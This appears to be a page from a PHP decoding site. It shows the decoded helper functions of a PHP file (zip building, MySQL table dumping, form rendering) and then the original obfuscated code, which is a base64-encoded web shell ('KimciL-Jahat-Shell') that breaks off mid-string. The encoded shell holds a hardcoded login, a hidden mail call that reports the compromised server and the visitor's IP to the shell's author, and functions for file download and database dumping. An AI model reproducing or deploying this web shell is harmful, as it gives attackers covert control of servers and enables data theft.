		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $hexdtime;

		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$c_len = strlen($zdata);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);
		$fr .= pack('v', strlen($name));
		$fr .= pack('v', 0);
		$fr .= $name;
		$fr .= $zdata;
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);

		$this -> datasec[] = $fr;
		$new_offset = strlen(implode('', $this->datasec));

		$cdrec = "\x50\x4b\x01\x02";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x14\x00";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x08\x00";
		$cdrec .= $hexdtime;
		$cdrec .= pack('V', $crc);
		$cdrec .= pack('V', $c_len);
		$cdrec .= pack('V', $unc_len);
		$cdrec .= pack('v', strlen($name) );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('V', 32 );
		$cdrec .= pack('V', $this -> old_offset );
		$this -> old_offset = $new_offset;
		$cdrec .= $name;

		$this -> ctrl_dir[] = $cdrec;
	}

	function file() {
		$data    = implode('', $this -> datasec);
		$ctrldir = implode('', $this -> ctrl_dir);
		return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .	pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
	}
}

// Dump mysql
function sqldumptable($table, $fp=0) {
	$tabledump = "DROP TABLE IF EXISTS $table;\n";
	$tabledump .= "CREATE TABLE $table (\n";

	$firstfield=1;

	$fields = q("SHOW FIELDS FROM $table");
	while ($field = mysql_fetch_array($fields)) {
		if (!$firstfield) {
			$tabledump .= ",\n";
		} else {
			$firstfield=0;
		}
		$tabledump .= "   $field[Field] $field[Type]";
		if (!empty($field["Default"])) {
			$tabledump .= " DEFAULT '$field[Default]'";
		}
		if ($field['Null'] != "YES") {
			$tabledump .= " NOT NULL";
		}
		if ($field['Extra'] != "") {
			$tabledump .= " $field[Extra]";
		}
	}
	fr($fields);

	$keys = q("SHOW KEYS FROM $table");
	while ($key = mysql_fetch_array($keys)) {
		$kname=$key['Key_name'];
		if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
			$kname="UNIQUE|$kname";
		}
		if(!is_array($index[$kname])) {
			$index[$kname] = array();
		}
		$index[$kname][] = $key['Column_name'];
	}
	fr($keys);

	while(list($kname, $columns) = @each($index)) {
		$tabledump .= ",\n";
		$colnames=implode($columns,",");

		if ($kname == "PRIMARY") {
			$tabledump .= "   PRIMARY KEY ($colnames)";
		} else {
			if (substr($kname,0,6) == "UNIQUE") {
				$kname=substr($kname,7);
			}
			$tabledump .= "   KEY $kname ($colnames)";
		}
	}

	$tabledump .= "\n);\n\n";
	if ($fp) {
		fwrite($fp,$tabledump);
	} else {
		echo $tabledump;
	}

	$rows = q("SELECT * FROM $table");
	$numfields = mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows)) {
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter=-1;
		$firstfield=1;
		while (++$fieldcounter<$numfields) {
			if (!$firstfield) {
				$tabledump.=", ";
			} else {
				$firstfield=0;
			}

			if (!isset($row[$fieldcounter])) {
				$tabledump .= "NULL";
			} else {
				$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
			}
		}

		$tabledump .= ");\n";

		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}
	}
	fr($rows);
	if ($fp) {
		fwrite($fp,"\n");
	} else {
		echo "\n";
	}
}

function ue($str){
	return urlencode($str);
}

function p($str){
	echo $str."\n";
}

function tbhead() {
	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
	p('</table>');
}

function makehide($name,$value=''){
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeinput($arg = array()){
	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
	!$arg['type'] && $arg['type'] = 'text';
	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
	if ($arg['newline']) {
		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
	} else {
		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
	}
}

function makeselect($arg = array()){
	if ($arg['onchange']) {
		$onchange = 'onchange="'.$arg['onchange'].'"';
	}
	$arg['title'] = $arg['title'] ? $arg['title'] : '';
	if ($arg['newline']) p('<p>');
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
		if (is_array($arg['option'])) {
			foreach ($arg['option'] as $key=>$value) {
				if ($arg['selected']==$key) {
					p("<option value=\"$key\" selected>$value</option>");
				} else {
					p("<option value=\"$key\">$value</option>");
				}
			}
		}
	p("</select>");
	if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
	!$arg['method'] && $arg['method'] = 'post';
	!$arg['action'] && $arg['action'] = $self;
	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
	!$arg['name'] && $arg['name'] = 'form1';
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
	if ($arg['title']) {
		p('<h2>'.$arg['title'].' &raquo;</h2>');
	}
}

function maketext($arg = array()){
	!$arg['cols'] && $arg['cols'] = 100;
	!$arg['rows'] && $arg['rows'] = 25;
	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}

function formfooter($name = ''){
	!$name && $name = 'submit';
	p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
	p('</form>');
}

function formfoot(){
	p('</form>');
}

// Exit
function pr($a) {
	echo '<pre>';
	print_r($a);
	echo '</pre>';
}

Did this file decode correctly?

Original Code

<?php $a =
'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcDQp8KiAgICAgIEtpbWNpTC1KYWhhdC1TaGVsbCB2MS4wCQkqfA0KfCogICAgIAkgICBSZUNvZGVEIGJ5IHhTb3VMIAkgICAgICAgICp8DQp8KiAgCSAgIGh0dHA6Ly9ia2h0Lm9yZy8gICAgCQkqfA0KfCogICAJID09ICBEYWdlTGFuIFRlYW0gID09ICAgICAgICAJKnwNClwqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KDQplcnJvcl9yZXBvcnRpbmcoNyk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KZGVmaW5lKCdTQV9ST09UJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSkuJy8nKTsNCi8vZGVmaW5lKCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyAxIDogMCApOw0KZGVmaW5lKCdJU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOw0KZGVmaW5lKCdJU19DT00nLCBjbGFzc19leGlzdHMoJ0NPTScpID8gMSA6IDAgKTsNCmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7DQokZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcignZGlzYWJsZV9mdW5jdGlvbnMnKTsNCmRlZmluZSgnSVNfUEhQSU5GTycsICghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gMSA6IDAgKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCg0KZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7DQoJZm9yZWFjaCgkJF9yZXF1ZXN0IGFzICRfa2V5ID0+ICRfdmFsdWUpIHsNCgkJaWYgKCRfa2V5ezB9ICE9ICdfJykgew0KCQkJaWYgKElTX0dQQykgew0KCQkJCSRfdmFsdWUgPSBzX2FycmF5KCRfdmFsdWUpOw0KCQkJfQ0KCQkJJCRfa2V5ID0gJF92YWx1ZTsNCgkJfQ0KCX0NCn0NCg0KLyo9PT09PT09PT09PT09PT09PSAgSW5mbyBMb2dpbiAgPT09PT09PT09PT09PT09PSovDQokYWRtaW4gPSBhcnJheSgpOw0KJGFkbWluWydjaGVjayddID0gdHJ1ZTsNCiRhZG1pblsncGFzcyddICA9ICdzZWdpdGlnYTEwJzsgLy8gUGFzc3dvcmQgbG9naW4NCiRhZG1pblsnY29va2llcHJlJ10gPSAnJzsNCiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsNCiRhZG1pblsnY29va2llcGF0aCddID0gJy8nOw0KJGFkbWluWydjb29raWVsaWZlJ10gPSA4NjQwMDsNCi8qPT09PT09PT09PT09PT09PT09PT09IEVuZCA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQppZiAoJGNoYXJzZXQgPT0gJ3V0ZjgnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnbGF0aW4xJykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCiR0aW1lc3RhbXAgPSB0aW1lKCk7DQoNCi8qPT09PT09PT09PT09PT09PT09PT09IExvZ2luID09PT09PT09PT09PT09PT09PT09PSovDQppZiAoJGFjdGlvbiA9PSAibG9nb3V0Iikgew0KCXNjb29raWUoJ3ZiYXBhc3MnLCAnJywgLTg2NDAwICogMzY1KTsNCglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0nLiRzZWxmLiciPicpOw0KCXAoJzxib2R5IGJhY2tncm91bmQ9YmxhY2s+Jyk7DQoJZXhpdDsNCn0NCmlmKCRhZG1pblsnY2hlY2snXSkgew0KCWlmICgkZG9pbmcgPT0gJ2xvZ2luJykgew0KCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7DQoJCQlzY29va2llKCd2YmFwYXNzJywgJHBhc3N3b3JkKTsNCg0KLy8gRnVuY3Rpb24gbWFpbCBTZW5kZXIgdG8gbXkgRW1haWwgLSBQbGVhc2UgcmVtb3ZlIHRoaXMgYmVmb3JlIHlvdSB1c2luZyB0aGlzIHNoZWxsIGNvZGUsIFRoYW5rcyAtIEZlcm5hbmRvIC0gVkJBVGVhbQ0KJHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICd0YXJnZXRAZW1haWwuY29tJzsNCiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbGlua2NyID0gIkxpbms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4Y3V0aW5nOiAkaXBfcmVtb3RlIC0gVGltZTogJHRpbWVfc2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiAkZnJvbV9zaGVsbGNvZGVcclxuUmVwbHktdG86ICRmcm9tX3NoZWxsY29kZSI7DQpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7DQoJCQlwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIyO1VSTD0nLiRzZWxmLiciPicpOw0KCQkJcCgnPGJvZHkgYmdjb2xvcj1ibGFjaz4NCjxCUj48QlI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj54U291TCAtIEJJQU5HIEtFUk9YIEhBQ0tFUiBURUFNICAtIFR1bmdndSBTZWsuLi48QlI+PGltZyBzcmM9aHR0cDovL3QzLmdzdGF0aWMuY29tL2ltYWdlcz9xPXRibjpBTmQ5R2NSRklReTlvTGM5ak1XbURZX05fc3hqV1B5dXNVV0M0aWd3SzJscUJtNjhhREdjU2ZLUFBBPjwvZGl2PicpOw0KCQkJZXhpdDsNCgkJfQ0KDQoJZWxzZQ0KCXsNCgkkZXJyX21lc3MgPSAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBiZ2NvbG9yPSMwRTBFMEUgd2lkdGg9MTAwJSBoZWlnaHQ9MjQ+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9cmVkIGZhY2U9dGFob21hIHNpemU9Mj48Ymxpbms+UGFzc3dvcmRtdSBzYWxhaCwgSmFqYWxvIE1hbmVoISEhPC9ibGluaz48QlI+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPic7DQplY2hvICRlcnJfbWVzczsNCgl9fQ0KCWlmICgkX0NPT0tJRVsndmJhcGFzcyddKSB7DQoJCWlmICgkX0NPT0tJRVsndmJhcGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7DQoJCQlsb2dpbnBhZ2UoKTsNCgkJfQ0KCX0gZWxzZSB7DQoJCWxvZ2lucGFnZSgpOw0KCX0NCn0NCi8qPT09PT09PT09PT09PT09PT09PT09IExvZ2luID09PT09PT09PT09PT09PT09PT09PSovDQoNCiRlcnJtc2cgPSAnJzsNCg0KaWYgKCRhY3Rpb24gPT0gJ3BocGluZm8nKSB7DQoJaWYgKElTX1BIUElORk8pIHsNCgkJcGhwaW5mbygpOw0KCX0gZWxzZSB7DQoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOw0KCX0NCn0NCg0KDQppZiAoJGRvaW5nID09ICdkb3duZmlsZScgJiYgJHRoZWZpbGUpIHsNCglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsNCgkJJGVycm1zZyA9ICdGaWxlIHNlayBhbWVoIHRvayBkb3dubG9hZCBnYWsgZW5layc7DQoJfSBlbHNlIHsNCgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsNCgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOw0KCQlAcmVhZGZpbGUoJHRoZWZpbGUpOw0KCQlleGl0Ow0KCX0NCn0NCg0KDQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7DQoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoJJHJlc3VsdCA9IHEoIlNIT1cgdGFibGVzIik7DQoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOw0KCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi91bmtub3duJyk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7DQoJJG15c3FsZGF0YSA9ICcnOw0KCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCgkJCSRteXNxbGRhdGEgLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KCQl9DQoJfQ0KCW15c3FsX2Nsb3NlKCk7DQoJZXhpdDsNCn0NCg0KLy8gTXlzcWwNCmlmKCRkb2luZz09J215c3FsZG93bicpew0KCWlmICghJGRibmFtZSkgew0KCQkkZXJybXNnID0gJ1BsZWFzZSBpbnB1dCBkYm5hbWUnOw0KCX0gZWxzZSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCWlmICghZmlsZV9leGlzdHMoJG15c3FsZGxmaWxlKSkgew0KCQkJJGVycm1zZyA9ICdGaWxlIHNlayBhbWVoIHRvayBkb3dubG9hZCBnYWsgZW5layc7DQoJCX0gZWxzZSB7DQoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7DQoJCQlpZighJHJlc3VsdCl7DQoJCQkJcSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdG1wX2FuZ2VsOyIpOw0KCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOw0KCQkJCS8vRG93bmxvYWQgU1FMDQoJCQkJcSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnIi5hZGRzbGFzaGVzKCRteXNxbGRsZmlsZSkuIicgSU5UTyBUQUJMRSB0bXBfYW5nZWwgRklFTERTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJzsiKTsNCgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNvbnRlbnQgZnJvbSB0bXBfYW5nZWwiKTsNCgkJCQlxKCJEUk9QIFRBQkxFIHRtcF9hbmdlbCIpOw0KCQkJfQ0KCQkJJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCgkJCWlmICghJHJvdykgew0KCQkJCSRlcnJtc2cgPSAnTG9hZCBmaWxlIGdhZ2FsICcubXlzcWxfZXJyb3IoKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOw0KCQkJCWVjaG8gJHJvd1swXTsNCgkJCQlleGl0Ow0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4NCjx0aXRsZT48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywneFNvdUwgLSBCSUFORyBLRVJPWCBIQUNLRVIgVEVBTScpOz8+PC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5LHRke2ZvbnQ6IDEwcHQgVGFob21hO2NvbG9yOmdyYXk7bGluZS1oZWlnaHQ6IDE2cHg7fQ0KDQphIHtjb2xvcjogIzc0QTIwMjt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQphOmhvdmVye2NvbG9yOiAjZjAwO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQ0KLmFsdDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbTowcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5mb3V0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMEUwRTBFO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouZm91dCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30NCi5oZWFkX3NtYWxsIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0Om5vcm1hbDtmb250LXNpemU6OHB0O30NCi5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30NCmZvcm17bWFyZ2luOjA7cGFkZGluZzowO30NCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQ0KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQ0KdXt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6Izc3NztmbG9hdDpsZWZ0O2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTUwcHg7bWFyZ2luLXJpZ2h0OjEwcHg7fQ0KaW5wdXQsIHRleHRhcmVhLCBidXR0b24NCnsNCglmb250LXNpemU6IDlwdDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KCWJvcmRlci1sZWZ0OiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsNCglib3JkZXItcmlnaHQ6IDFweCBzb2xpZCAjNzRBMjAyOw0KCWJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjNzRBMjAyOw0KfQ0Kc2VsZWN0DQp7DQoJZm9udC1zaXplOiA4cHQ7DQoJZm9udC13ZWlnaHQ6IG5vcm1hbDsNCgljb2xvcjogI2NjYzsNCglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjAyMDIwOw0KfQ0KDQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9DQp9DQpmdW5jdGlvbiAkKGlkKSB7DQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCn0NCmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7DQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iaW5pdCgpIiBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCIgYmdjb2xvcj1ibGFjayBiYWNrZ3JvdW5kPWh0dHA6Ly93d3cuYWxpZi1wb3JuLmNvbS9waG90by5qcGc+DQoNCg0KPGRpdiBib3JkZXI9IjAiIHN0eWxlPSJwb3NpdGlvbjpmaXhlZDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMjVweDsgei1pbmRleDogMTsgdG9wOiAzMDBweDsgbGVmdDogMDsiIGlkPSJsb2FkaW5nIiBhbGlnbj0iY2VudGVyIiB2YWxpZ249ImNlbnRlciI+DQoJCQkJPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjExMHB4IiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBib3JkZXJjb2xvcj0iIzAwMzMwMCI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249Y2VudGVyPg0KCQkJCSA8ZGl2IGJvcmRlcj0iMSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwRTBFMEU7IGZpbHRlcjogYWxwaGEob3BhY2l0eT03MCk7IG9wYWNpdHk6IC43OyB3aWR0aDogMTEwcHg7IGhlaWdodDogMjVweDsgei1pbmRleDogMTsgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsiIGJvcmRlcmNvbG9yPSIjMDA2NjAwIiAgYWxpZ249ImNlbnRlciI+DQoJCQkJICAgTG9hZGluZzxpbWcgc3JjPSJodHRwOi8vaTM4Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL29vMjYzL3ZuaGFja2VyL2xvYWRpbmcuZ2lmIj4NCgkJCQkgIDwvZGl2Pg0KCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJPC90YWJsZT4NCgkJCSA8L2Rpdj4NCiA8c2NyaXB0Pg0KIHZhciBsZD0oZG9jdW1lbnQuYWxsKTsNCiAgdmFyIG5zND1kb2N1bWVudC5sYXllcnM7DQogdmFyIG5zNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCYmIWRvY3VtZW50LmFsbDsNCiB2YXIgaWU0PWRvY3VtZW50LmFsbDsNCiAgaWYgKG5zNCkNCiAJbGQ9ZG9jdW1lbnQubG9hZGluZzsNCiBlbHNlIGlmIChuczYpDQogCWxkPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2FkaW5nIikuc3R5bGU7DQogZWxzZSBpZiAoaWU0KQ0KIAlsZD1kb2N